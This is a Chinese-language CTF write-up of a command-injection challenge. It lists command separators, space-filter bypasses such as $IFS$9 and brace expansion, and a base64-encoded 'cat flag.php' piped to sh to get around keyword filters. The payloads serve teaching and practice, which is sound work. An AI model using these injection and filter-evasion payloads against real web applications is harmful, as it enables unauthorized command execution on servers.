1.基本读题
通过标题得知应该是一个命令注入的题目,进入环境后提醒我们通过get方式提交ip
2.进一步信息收集
先尝试一些基本的命令注入:
127.0.0.1;ls
和
127.0.0.1;dir
以判断是linux系统还是windows系统
注入127.0.0.1;dir
时是没有回显的,相反,注入127.0.0.1;ls
时返回了目录
这里发现有flag.php和index.php两个文件,自然先尝试能不能直接打开flag.php
先尝试:
127.0.0.1;cat flag.php
失败,并且返回了:
显然是将空格给过滤了,尝试能否绕过空格:
cat flag.php
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
{cat,flag.php}
cat%20flag.php
cat%09flag.php
以下类型的报错:
看来是将一些符号以及字符串flag拉黑了,并且,我们在尝试cat$IFS$9flag.php
时并没有提示symbol和space报错,说明这个对空格的绕过是可行的,主要是flag被拦住了,那么尝试用base64绕过字符串flag的过滤
3.payload
将cat flag.php
进行base64编码:Y2F0IGZsYWcucGhw
那么构造payload:
127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|bash
提示bash被ban,没关系,尝试sh
127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
这次没有报错,然后查看网页源码即可获得flag:
关于payloa的解释,看下图:
bHM=为字符串ls的base64编码值
同时注意,不同网站的base64编码和解码有时会有差异,跑不通可以尝试换个网站对flag.php进行编码,可能会有不同的结果
并且,这里还有一个index.php没有用到,由于并没有过滤字符串index,通过$IFS$9
的简单绕过就可以进入index.php,在里面可以看到具体的过滤规则